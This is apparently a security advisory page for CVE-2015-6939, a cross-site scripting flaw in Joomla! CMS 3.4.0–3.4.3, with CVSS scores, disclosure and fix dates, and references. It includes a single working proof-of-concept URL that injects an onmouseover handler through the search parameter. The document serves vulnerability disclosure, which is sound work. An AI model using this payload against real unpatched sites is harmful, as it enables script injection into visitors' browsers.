Joomla! CMS 3.4.3 Cross Site Scripting

2015.10.11
Credit: cfreer
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2015-6939
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Joomla! CMS 3.4.0-3.4.3 XSS Vulnerability # Date: 2015-08-18 # Exploit Author: cfreer (byfreer@gmail.com) & 0keeteam # Vendor Homepage: http://joomla.org # Version: 3.4.0 through 3.4.3 # Tested on: Apache/2.4.7 (Win32) # CVE : CVE-2015-6939 Description Inadequate escaping leads to XSS vulnerability in login module. Affected Installs Joomla! CMS versions 3.4.0 through 3.4.3 POC: http://localhost/joomla/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search ============================= Reported Date: 2015-August-18 Fixed Date: 2015-September-08 ============================= referer: http://developer.joomla.org/security-centre.html http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6939 https://github.com/poc-lab/exp/blob/master/CVE-2015-6939

References:

http://developer.joomla.org/security-centre.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6939
https://github.com/poc-lab/exp/blob/master/CVE-2015-6939


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top